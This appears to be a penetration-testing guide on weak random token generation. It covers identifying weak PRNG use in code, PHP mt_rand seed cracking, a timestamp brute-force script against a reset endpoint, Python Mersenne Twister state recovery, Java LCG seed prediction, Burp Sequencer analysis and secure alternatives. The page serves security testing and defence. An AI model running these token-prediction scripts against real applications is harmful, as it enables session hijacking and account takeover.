Weak Random Token Generation
Applications that generate tokens, session IDs, or reset codes using weak random number generators produce predictable values. An attacker who can predict or brute-force these tokens can hijack sessions, bypass authentication, and take over accounts. The core issue is using pseudo-random number generators (PRNGs) designed for statistical simulation rather than cryptographic security. Functions like PHP's mt_rand(), Python's random.randint(), and Java's java.util.Random are all predictable given enough output samples or knowledge of the seed. For general authentication testing methodology, see authentication vulnerability testing.
Topics covered on this page:
- Identifying weak token generation in source code
- PHP
mt_rand()seed cracking with php_mt_seed - Timestamp-based token prediction
- Python Mersenne Twister state recovery
- Java
java.util.Randomseed prediction - Entropy analysis with Burp Sequencer
- Secure alternatives per language
Identifying Weak Token Generation
During source code review, search for these weak patterns:
# PHP weak patterns
$token = md5(mt_rand()); # Predictable: mt_rand seed is 32-bit
$token = md5(time()); # Predictable: timestamp known to attacker
$token = md5(microtime()); # Narrow brute-force window
$token = uniqid(); # Based on timestamp + microseconds
$token = sha1(rand() . $username); # rand() is even weaker than mt_rand()
$token = bin2hex(random_bytes(16)); # SECURE: CSPRNG
# Python weak patterns
token = str(random.randint(0, 999999)) # Predictable Mersenne Twister
token = hashlib.md5(str(time.time()).encode()).hexdigest() # Timestamp
token = secrets.token_hex(16) # SECURE: CSPRNG
# Java weak patterns
Random rng = new Random(); # Predictable 48-bit LCG
token = String.valueOf(rng.nextInt());
SecureRandom rng = new SecureRandom(); # SECURE: CSPRNG
# Node.js weak patterns
token = Math.random().toString(36).substr(2); # V8 xorshift128+, predictable
token = crypto.randomBytes(16).toString('hex'); // SECURE: CSPRNG
PHP mt_rand() Seed Cracking
PHP's mt_rand() uses the Mersenne Twister PRNG seeded with a 32-bit value. Given a single mt_rand() output (or the result of a function that depends on it), the seed can be brute-forced. The tool php_mt_seed tries all 2^32 possible seeds and finds which one produces the observed output.
Step 1: Collect a Token
Request a password reset, session token, or any value generated with mt_rand(). If the token is md5(mt_rand()), you need the raw mt_rand() output. If you can observe it directly (some applications expose it), use that value.
Step 2: Crack the Seed
If you know the exact mt_rand() output value:
Pattern: EXACT Version: 7.1.0+ seed = 1234567890 Found 1 seed(s)
If the output is from mt_rand(min, max) with a known range:
Step 3: Predict Future Tokens
Once you have the seed, recreate the PRNG state in PHP and generate all subsequent values:
<?php
mt_srand(1234567890); // Use cracked seed
// Skip the outputs already consumed
mt_rand(); // First call (the one you observed)
// Predict the next token
$next_token = md5(mt_rand());
echo "Next reset token: $next_token\n";
// Generate several future tokens
for ($i = 0; $i < 10; $i++) {
echo "Token $i: " . md5(mt_rand()) . "\n";
}
?>
Use the predicted token to access the password reset link before the legitimate user does.
Timestamp-Based Token Prediction
Tokens derived from time() or microtime() can be predicted by brute-forcing a small window around the request time.
import hashlib
import time
import requests
# Record the time when the reset was triggered
target_time = int(time.time())
# Brute-force a window of +/- 300 seconds
for ts in range(target_time - 300, target_time + 300):
token = hashlib.md5(str(ts).encode()).hexdigest()
resp = requests.get(f'http://$TARGET_IP:$PORT/reset?token={token}')
if resp.status_code == 200 and 'invalid' not in resp.text.lower():
print(f'Valid token found: {token} (timestamp: {ts})')
break
For microtime() (microsecond precision), the brute-force space is larger but still feasible. A 60-second window with microsecond precision is 60,000,000 attempts, manageable with a fast script. Narrow the window by using the server's Date response header to synchronize clocks.
PHP uniqid() Weakness
uniqid() returns a string based on the current time in microseconds. Without the more_entropy parameter, it outputs a 13-character hex string that is directly derived from the timestamp:
<?php
// uniqid() output: "6507a1b2c3d4e"
// Format: 8 hex chars (seconds since epoch) + 5 hex chars (microseconds)
// Entirely predictable if you know the approximate time
// Even with more_entropy:
// uniqid('', true) = "6507a1b2c3d4e1.23456789"
// Adds lcg_value() output, which is also based on PID and time
?>
Extract the timestamp from a collected uniqid() value, then generate candidates for nearby microsecond values to predict other tokens generated around the same time.
Python random Module State Recovery
Python's random module uses Mersenne Twister with a 624 x 32-bit internal state. Given 624 consecutive 32-bit outputs, the entire state can be reconstructed and all future outputs predicted. If the application exposes enough random values (through tokens, IDs, or other generated data), state recovery is possible:
import random
def untemper(y):
y ^= y >> 18
y ^= (y << 15) & 0xefc60000
for i in range(7):
y ^= (y << 7) & 0x9d2c5680
y ^= y >> 11
y ^= y >> 22
return y
def recover_state(outputs):
state = [untemper(o) for o in outputs[:624]]
random.setstate((3, tuple(state + [624]), None))
# Collect 624 outputs from the application
observed = [...] # 624 integers from random.getrandbits(32)
recover_state(observed)
# Predict future values
next_token = random.getrandbits(32)
print(f"Next value: {next_token}")
In practice, collecting 624 outputs requires the application to expose many token values (common in APIs that return sequential IDs or tokens in bulk). If only a few outputs are available, the attack may still be feasible with partial state recovery techniques or by combining with a known seed (PID + timestamp).
Java java.util.Random Seed Prediction
Java's java.util.Random uses a 48-bit linear congruential generator (LCG). Given two consecutive outputs, the seed can be recovered. With one output, brute-forcing the 48-bit seed space is feasible on modern hardware (2^48 = ~281 trillion, but LCG properties reduce the search).
// Java LCG formula:
// seed = (seed * 0x5DEECE66DL + 0xBL) & 0xFFFFFFFFFFFF
// output = (int)(seed >>> (48 - bits))
// Given two consecutive nextInt() outputs, recover the seed:
long seed = ((long)output1 << 16) | guess; // Try all 2^16 values for low bits
if (((seed * 0x5DEECE66DL + 0xBL) & 0xFFFFFFFFFFFFL) >>> 16 == output2) {
// Seed found, predict all future values
}
Entropy Analysis with Burp Sequencer
Burp Sequencer statistically analyzes token randomness without needing source code. It collects a large sample of tokens and runs statistical tests (FIPS 140-2, chi-squared, compression) to measure entropy.
- Capture a request that returns a token (login response with session cookie, password reset with token in response)
- Right-click the request in Proxy > HTTP History > Send to Sequencer
- In Sequencer, define the token location (cookie value, response body pattern)
- Click Start live capture, collect at least 1000 tokens (more is better)
- Click Analyze now to see the entropy results
Results interpretation:
- Effective entropy > 100 bits: likely cryptographically secure. Prediction not feasible
- Effective entropy 50-100 bits: weak but not trivially exploitable. May indicate a non-CSPRNG
- Effective entropy < 50 bits: predictable. Investigate the generation method
- Significant at 1% level: statistical tests detect patterns, confirms weak randomness
Secure Token Generation
Recommended alternatives per language. All use cryptographically secure pseudo-random number generators (CSPRNGs) backed by the OS entropy pool:
# PHP (7.0+)
$token = bin2hex(random_bytes(32)); // 64 hex chars, 256 bits entropy
# Python (3.6+)
import secrets
token = secrets.token_hex(32) // 64 hex chars
token = secrets.token_urlsafe(32) // URL-safe base64
# Java
SecureRandom sr = new SecureRandom();
byte[] token = new byte[32];
sr.nextBytes(token);
# Node.js
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('hex');
# Ruby
require 'securerandom'
token = SecureRandom.hex(32)
References
-
Brute-force tool for recovering PHP mt_rand() seeds from observed output values.
-
Burp Sequencer DocumentationDOCS: Burp Sequencer Documentation, portswigger.net/burp/documentation/desktop/tools/sequencer (opens in new tab)
Statistical entropy analysis tool for token randomness assessment.